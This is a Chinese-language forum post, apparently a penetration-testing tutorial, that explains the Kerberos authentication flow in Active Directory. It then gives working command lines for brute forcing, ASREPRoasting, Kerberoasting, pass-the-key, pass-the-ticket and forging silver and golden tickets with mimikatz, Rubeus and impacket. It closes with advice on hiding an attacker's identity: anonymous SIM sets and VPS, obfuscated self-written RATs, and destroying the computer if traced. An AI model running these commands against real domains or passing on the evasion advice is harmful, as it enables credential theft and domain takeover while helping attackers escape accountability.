以前自己写过的一些文章,当时是发到了自己的博客和公众号;今天想到还可以发到 tools 来和大家分享,希望如有不对的地方帮忙指点一下,谢谢表哥们文章分为两部分:原理、攻击方式。
第一部分,原理:
1. 什么是 Kerberos?
kerberos 是 Active Directory 网络中域帐户的首选身份验证协议(它不能在工作组中使用),它由 kerberos SSP 实现。Kerberos 的细节在 RFC 4120 中进行了描述,在 Active Directory 中使用的扩展记录在 MS-KILE文档中。Kerberos 侧重于使用称为“票据”的令牌,它允许根据主体对用户进行身份验证。
kerberos SSP:
RFC4120:
MS-KILE:
2. Kerberos 相关
传输层:
Kerberos 使用 UDP 或 TCP 作为传输协议,以明文形式发送数据;因此,Kerberos 负责提供加密。
几个代理一起在Kerberos中提供身份验证:
代理:
加密密钥:
Kerberos 可以处理一些结构,如票据,许多这些结构都经过加密或签名,以防止被第三方篡改:
Kerberos 处理的主要结构是票据,这些票据交付给用户,以便用户使用它们在 Kerberos 领域中执行一些操作。
有2种类型:
门票:
该PAC (特权属性证书)是一种包含在几乎所有票据中的结构,该结构包含用户的特权,并且使用KDC密钥进行签名。
服务可以通过与KDC通信来验证PAC(虽然这种情况并不经常发生),PAC验证只检查其签名,而不检查PAC内部的特权是否正确。
此外,客户端可以通过在票据请求的 KERB-PA-PAC-REQUEST 字段中指定 PAC 来避免将 PAC 包含在票据中。
几个用于验证 PAC 和票证数据完整性的
PAC:
CVE-2020-17049: Kerberos Bronze Bit Attack 原理:
Kerberos 使用不同种类的消息,主要是以下几点:
下面显示了执行身份验证的消息序列摘要:
首先,用户必须从 KDC 获得一个 TGT。为此,必须发送 KRB_AS_REQ:
KRB_AS_REQ具有以下字段:
此外,即使它不是 Kerberos 的一部分,而是 NRPC的一部分,AP 也可以选择使用 KERB_VERIFY_PAC_REQUEST 消息向 KDC 发送 PAC 的签名,并验证它是否正确。
3. 认证流程:
KRB_AS_REQ:
注意:加密的时间戳只有在用户需要预认证时才需要,比较常见,除非在用户帐户中设置了 DONT_REQ_PREAUTH 标志。
接收到请求后,KDC通过解密时间戳验证用户身份,如果消息是正确的话,那么它会响应一个KRB_AS_REP:
KRB_AS_REP包含以下信息:
KRB_AS_REP:
完成后,用户就已经拥有 TGT,可用于请求 TGS,然后访问服务。
KRB_TGS_REQ:
为了请求 TGS,必须向 KDC 发送 KRB_TGS_REQ 消息:
KRB_TGS_REQ包括:
收到KRB_TGS_REQ消息后,KDC 在KRB_TGS_REP内部返回一个 TGS :
KRB_TGS_REP包括:
KRB_TGS_REP
最后,如果一切顺利,用户已经拥有了一个有效的 TGS 来与服务交互,为了使用它,用户必须向 AP 发送一条KRB_AP_REQ消息:
KRB_AP_REQ包括:
KRB_AP_REQ
之后,如果用户权限正确,就可以访问服务。第二部分,攻击方式:------------------------------------------------------------------------------------------------------------------------------
展示一些针对该协议的攻击目录:
目录的排序是按照执行它们时所需的权限大小来排的。执行 Kerberos 暴力破解时,只需要连接 AD(Active Directory) 的 KDC ( 密钥分发中心 ),而执行最后一项攻击,需要的是域管理员或者类似的权限。
从渗透的角度介绍两种常见的场景:
本文主要用到的工具:
还用到了其他的工具,会在接下来介绍。
1. Kerberos 暴力破解
Kerberos 是一种身份验证协议,我们可以对它进行暴力破解。 暴破 Kerberos 和暴破其他身份验证方法相比来说,有很多优点,如下:
执行攻击:
Windows
Linuxkerbrute.py 脚本可用于在 Linux 系统上对目标进行暴力破解:
DC环境:payloads.online 10.1.40.78
Kerberos 88端口开放:
准备字典:
python3 kerbrute.py -users <用户名文本> -passwords <密码文本> -domain payloads.online -dc-ip 10.1.40.78 -outputfile <文件名>
可以看到成功爆出了用户密码 *****961。完成后会存储获取到的 TGT 备用,并生成一个保存了用户账号的文件。
kerbrute.py 脚本同样可以在 Windows 上对目标进行爆破,结果同理:python3 kerbrute.py -users use.txt -passwords pws.txt -domain payloads.online -outputfile rul.txt
此攻击用 Rubeus 或者其他的工具也可以实现。
2. ASREPRoast
ASREPRoast 是一种对用户账号进行离线爆破的攻击方式。但是该攻击的利用方式比较有局限性,因为它需要用户账号设置了 "Do not require Kerberos preauthentication( 不需要 kerberos 预身份验证 ) " 才能进行攻击 。( 而该属性是默认不勾选的 )
因为进行 ASREPRoast 攻击时会寻找不需要 Kerberos 预身份验证的用户,这意味着任何人都可以代表这些用户中的任何一个向 KDC 发送 AS_REQ 请求,并接收 AS_REP 消息,最后一种消息里包含了使用原始用户密钥加密的数据包,原始用户密钥来于自它的密码;最后攻击者就可以对获取到的用户 Hash 加密的 Session Key 进行离线破解,如果破解成功,就能得到该指定用户的密码明文。
执行此攻击不需要域帐户,只需连接到 KDC 就行。但如果有域帐户可以用的话,我们就可以使用 LDAP 查询来检索域中那些没有设置 Kerberos 预身份验证的用户,这样我们就不必再去枚举用户名了。
Linux
这里我们使用脚本GetNPUsers.py在 kali Linux 上对目标进行攻击。
首先根据响应,去查找那些勾选了 "Do not require Kerberos preauthentication( 不需要 kerberos 预身份验证 ) " 的域用户,然后将拿到的 hash 存储为文件 hashes.asreproast 。然后打开这个文件,我们可以看到 $ 符号之后的用户名 [email protected] 和:号后面的hash 值:
python3 GetNPUsers.py payloads.online/ usersfile use.txt -format hashcat -outputfile hashes.asreproast
再用 hashcat 爆破 hash值:
成功拿到密码:
用账号密码查看最新密码的修改时间、最后登陆时间、UAC(用户账户控制)等相关信息:
Windows
在受感染的 windows 上,我们可以使用 Rubeus 来寻找可利用的用户:
拿到 hash 后再用 hashcat 去爆破即可。
3. Kerberoasting
SPN简介:
通过 Microsoft官方文档 我们知道,服务主体名称(SPN: Service Principal Names)是服务实例,可以将其理解为一个服务(比如 HTTP、MSSQL)的唯一标识符,服务在加入域中时是自动注册的。
如果在整个林或域中的计算机上安装多个服务实例,则每个实例都必须具有自己的 SPN。如果客户端可能使用多个名称进行身份验证,则给定服务实例可以具有多个 SPN。SPN 始终包含运行服务实例的主机的名称,因此服务实例可以为其主机名称或别名注册 SPN。如果想使用 Kerberos 协议来认证服务,那么必须正确配置 SPN。
SPN 在 kerberos 协议中的作用:
因为 Kerberos 是一种支持票据身份验证的安全协议,如果客户端计算机身份验证的请求里包含有效的用户凭据和服务主体名称 (SPN),则 Kerberos 身份验证服务器将授予一个票据以响应该请求。然后客户端计算机使用该票据来访问网络资源,在内部网络中,SPN扫描是通过查询向域控制器执行服务发现的。
这对于红队而言,可以帮助他们识别正在运行重要服务的主机,比如终端、交换机、微软SQL等,并且可以尽量的隐藏他们自身。另外,SPN的识别也是 kerberoasting 攻击的第一步。
当域内某个用户去请求同域内的某个服务资源时,请求会首先被送达 KDS 的 AS 中进行身份认证,认证通过后 AS 会返回一个用用户密码 hash 加密的 TGT 给用户,然后用户再拿着这个 TGT 向 TGS 去请求,TGS 会返回一个用对应服务账号的密码 hash加密过( RC4_HMAC_MD5 )的专门用于访问特定服务的服务票据回来,最后用户只需拿这张服务票据去访问对应的服务资源即可;
而问题就出在 TGS 返回服务票据,目标服务此时用的一个域账号来运行的,那么 TGS 在向用户返回服务票据时,用户就可以拿到这张服务票据中 hash,由于 TGS 服务票据加密算法已知,然后我们对它进行爆破,模拟加密过程,生成TGS进行比较。如果TGS相同,代表口令正确,就能获得目标服务实例的明文口令,这就是 Kerberoasting 攻击。
需要注意的是,虽然域内的任何一台主机,都可以通过查询SPN,向域内的所有服务请求TGS,然后进行暴力破解,但是对于破解出的明文,只有域用户的是可以利用的,机器账户的不能用于远程连接,所以我们的关注点主要就是在域用户下注册的SPN。
步骤:
DC环境:xiaoying 10.255.255.71
Linux
我们可以通过受感染的 windows 主机,在域外的kali linux 上选择使用 GetUserSPNs.py 脚本在域内根据响应去查询 SPN,并将拿到的 TGS 存到给定名为 hashes.kerberoast 的文件里。
可以看到查到了注册在 Users 下的 SPN,和 hash 里的 域名 / 账户名
用 hashcat 对 hash 暴力破解:
拿到密码*****.net.cn:
用 john 爆破:
Windows
在受感染的 windows 主机上,我们同样可以使用多种工具来进行 Kerberoasting 攻击,比如 Empire 项目的 Rubeus 或者 Invoke-Kerberoast。
第一步,windows 场景下的SPN发现:
首先我们可以使用 windows 本地的二进制文件 setspn 工具,它可以检索用户账户与服务之间的映射。我们可以用它来添加、删除和查询SPN注册。
我们可以看到注册在机器账户下(Computers),和用户账户下( Users )的SPN;而 Users 下的SPN正是我们想要的。
我们还可以用Tim Medin开发的一个PowerShell脚本,它是 kerberoast 工具包的一部分,可以帮助我们查询活动目录,以发现仅与用户帐户相关联的服务。
还有一个 VBS 脚本也是这个工具的一部分,可以为我们提供相同的信息。该脚本可以通过使用本机的 Windows 二进制 cscript 从 Windows 的命令提示符执行。
除了这些我们还可以使用PowerShell AD Recon 存储库里的各种 PowerShell 脚本来执行 Kerberos 侦察,开发者 Sean Metcalf 将每个脚本绑定到一个特定的服务,具体取决于我们想要发现哪些 SPN;比如 Exchange,Microsoft SQL,Terminal等等,这里不再列举。
接下来我们先在受感染的 windows 主机上使用 Rubeus 获取 hash:
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
hashes.kerberoast 里的 hash
另一种在 windows 主机上实现 Kerberoast 的方法是使用同样来自 Empire 项目的 powershell 脚本 Invoke-Kerberoast,它可以直接加载到内存中:
.\Invoke-Kerberoast.ps1 -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.
完成后将 hash 保存并生成一个文件,我们再拿去爆破。
4. 哈希绕过/密钥传递(PTK)
在 windows 内网渗透中三种常见的攻击方法:
通过
NTLM 的认证过程有三步:
先介绍下 NTLM:
大致流程如下:
以上步骤中,用户的登录密码 Hash 即为 NTLM Hash,经过NTLM Hash加密的结果在网络协议中称之为 Net NTLM Hash。
PTH 的原理就是攻击者可以直接通过 LM Hash 或者NTLM Hash 访问远程主机或服务,而不用提供明文密码,详细内容我们不在此展开,因为本系列主要是针对kerberos,所以我们这里讲 PTK。
PTK 是在域中攻击 kerberos 协议的一种方式,可以在NTLM认证被禁止的情况下用来实现/替代类似 PTH 的功能,为了执行此攻击,我们需要目标用户帐户的 NTLM 哈希(或密码)。所以一旦获得用户哈希,就可以为该帐户请求 TGT,最后就可以访问用户帐户具有权限的任何服务或机器。
Linux
我们在kali linux 上可以选择使用 impacket 来执行此攻击。
首先使用 getTGT.py 脚本来请求 TGT 并将其保存为 ccache( 当票据设置为磁盘上的文件时,标准格式和类型都将是 CCACHE 文件;这是一个简单的二进制文件格式,用于存储 Kerberos 凭据。从攻击者的角度来看,CCACHE 票据便于移动,因为它们可以被下载并加载到另一台主机上,而无需更新或验证票证,所以可以利用有效票证进行身份验证,而不需要各自的用户明文密码 ):
python3 getTGT.py fuckfuckfuck.com/xiaoying -hashes :********* //这里可以指定密码,哈希或aesKey
我这里是用的 mimikatz 来获取 NTLM,有很多其他的方法,我就不再列举了。
然后指定 KRB5CCNAME 环境变量的位置( 如果设置了该变量,则该变量指向用于身份验证的 CCACHE 票证的位置 ):
export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache
再使用 psexec.py 脚本连接目标:
python3 psexec.py domain/[email protected]<target name> (这里的target必须是注册了SPN的) -k -no-pass
可以看到生成并使用 TGT 后,最后会启动一个 shell 。
除了 psexec.py ,我们还可以使用其他工具例如 wmiexec.py(它比 psexec.py 更加隐蔽,因为它不会上传任何二进制文件并且不启动任何服务)或 atexec.py(使用计划的任务执行代码)。
wmiexec.py :
wmiexec.py -k -no-pass fuckfuckfuck.com/xiaoying:******[email protected]*****ient002.fuckfuckfuck.com ipconfig
Windows
在受感染的 windows 主机上,我们这里选择使用 Rubeus 和 PsExec 来实现 PTK。
先获取票据:
.\Rubeus.exe asktgt /domain:fuckfuckfuck.com /user:xiaoying /rc4:*******0ee7522bac27eadaa6aa /ptt
然后我们通过 PsExec 来连接 DC:
.\PsExec.exe -accepteula \\*****.fuckfuckfuck.com cmd
连接成功。
5. 票据传递 (PTT)
这种攻击类似于 hash 传递,但不是使用哈希来请求票据,而是票据本身被盗并用于验证其所有者的身份。也就是我们获取到其他用户的票据后,再以此票据去请求/连接其他目标,从而就可以达到不需要明文密码就可以访问其他用户的目的。
Windows
当前所在主机为:xxx6699 Hostname:Win10Client001,我们要连接的目标机Hostname为:Win10Client002。
在 Windows 中,票据由负责安全的 lsass(本地安全机构子系统服务)进程处理和存储。
我们这里可以选择使用 Mimikatz 的 sekurlsa::tickets /export 命令直接从 LSASS 进程的内存中导出所有的 Kerberos 票据:
"privilege::debug" "sekurlsa::tickets /export"
sekurlsa::tickets /export
后缀为 .kirbi 的文件,便是在 windows 被我们导出的票据文件 ;这里解释一下这个文件格式:
因为 Windows 和 Linux 使用不同的方法来保存票据,所以在开始使用票据之前,我们得把他们根据需求互相转换,例如从 ccache(Linux 文件格式)转换为 kirbi(Mimikatz 和 Rubeus 使用的 Windows 文件格式),反之亦然。
我们可以使用 ticket_converter.py 工具在平台之间互相转换 Linux 和 Windows 的票据格式:
python3 ticket_converter.py xiaoying.kirbi xiaoying.ccache
//或者
python3 ticket_converter.py xiaoying.ccache xiaoying.kirbi
转换成功后,我们就可以将.ccache 格式的票据文件在kal inux 上使用;先将文件路径设置为 KRB5CCNAME 环境变量,再用 impacket 里的脚本去连接目标。
除了使用 mimikatz 以外,我们还可以在 powershell 中用 Rubeus dump出所有票据:
在执行以上其中一个动作之后,票据已经被我们成功获取。
拿到票据后,我们用 mimikatz 可以看到当前主机缓存内的票据的用户名和编号为 60a10000:
然后清空缓存的票据:
接下来将目标主机的票据 40a10000 注入当前主机后,再查看一次当前缓存的票据,可以发现已经注入成功:
kerberos::ptt <ticket name> //注入票据
最后可以选择使用 PsExec 连接目标。
PeExec.exe -accepteula \\domain cmd
票据传递成功。
用 Rubeus 同样可以完成 PTT 攻击;我们当前缓存的票据是刚才注入的,先将其清空:
用 Rubeus 重新注入:
连接成功:
注入用户帐户的票据后,我们就可以远程操作目标替我们执行命令。
除此之外,PTT攻击利用得比较多的方法还有 MS14-068 漏洞,它是密钥分发中心(KDC)服务中的Windows漏洞,它允许经过身份验证的用户在其 Kerberos 票据(TGT)中插入任意PAC(表示所有用户权限的结构),该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中;用户可以通过呈现具有变化的PAC的Kerberos TGT来获得票据。
造成的危害是允许域内任何一个普通用户,将自己提升至域管理员权限,微软已经给出了补丁。这里因为此文目前篇幅已经很长了,就不展示利用过程了。
6. 白银票据( Silver Ticket )
黄金票据(Golden ticket)、白银票据( Silver Ticket )是域内常用的两种票据攻击方式,这里大致讲一下金票与银票在域内的区别:
制作/伪造一张银票,我们需要以下信息:
Windows
收集我们需要的信息:
当前本机的域名:fuckfuckfuck.com 计算机名:Win10Client001
再用 wmic useraccount get name,sid 可以看到所有用户的 SID:
wmic useraccount get name,sid
然后我们到另一台拥有域管理员权限的域服务账户( Win10Client002 )上获取 NTLM :
"sekurlsa::logonpasswords"
回到Win10Client001上,然后清空票据缓存:
用得到的信息制作/伪造一张白银票据:
kerberos::golden /domain:fuckfuckfuck.com /sid:S-1-5-21-2122058825-1058390281-3825209234-1646 /target:Win10Client002.fuckfuckfuck.com /service:Apache /rc4:1802b0f80f63ec1fb6f57ffec1ed3635 /user:daxiao
生成的文件:
用 Rubeus 将票据注入内存,最后 PsExec 连接目标:
Rubeus.exe ptt /ticket:ticket.kirbi
Linux
在kali linux,我们可以使用 impacket 的 ticketer.py 来制作白银票据,然后设置 KRB5CCNAME 环境变量,最后使用 psexec.py 连接目标服务:
7. 黄金票据(Golden ticket)
当域内有可疑行为时,管理员通常会修改域控管理员密码来避免攻击者进一步攻击,但通常会忘记修改 krbtgt 的密码,导致攻击者可以利用此来进行权限维持。在域环境中所有的票据都是由 krbtgt 生成,获取了 krbtgt 的 NTLM 或 AES-256 我们就可以伪造域内任意用户的身份去访问其他服务。
制作/伪造一张黄金票据需要的信息:
Windows
在一台拥有域管理员权限的域服务账户主机( Win10Client002 )上抓取 krbtgt hash 的 NTLM 。
同样生成文件后,我们回到 Win10Client001,用其制作一张黄金票据:
用 Rubeus 将金票注入后,连接目标:
Linux
使用 impacket 的 ticketer.py 来制作白银票据,然后设置 KRB5CCNAME 环境变量,最后使用 psexec.py 连接目标服务。跟银票差不多的操作,只是这里不需要再去指定 -SPN:
连接成功:
防御措施
为了防止或减轻许多此类 Kerberos 攻击,可以实施一系列策略,一些示例如下:
因为篇幅太长,这里不再列举,更详细的可以看这份
------------------------------------------------------------------------------------------------------------------------------------------------
关于通信隐蔽的问题,我是这么做的:匿名买的四件套+一台匿名买的电脑+物理机断网(从买的那一刻起断网。软件什么的全部离线安装)、虚拟机联网+操作系统安全基线配置(如关掉win自带的一些配置、虚拟机和物理机藕断丝连的配置、端口等等...)+手动找的VPN和匿名买的VPS。其中还有很多细节如自己写的RAT是否做好了混淆、加密、免杀等等这些细节什么的。一般这样去隐蔽就算被溯源到所有的代理,对方很大可能也只能摸到虚拟机。( 如果对方很猛虚拟机沙箱逃逸,就把电脑销毁了跑路 )
文到这里截止,图太多了,可能会有上传错的情况,表哥们如看到图文不对的情况说一下,谢谢!
自评 TCV 3
这是一篇比较基础的域渗透文章,所以文中是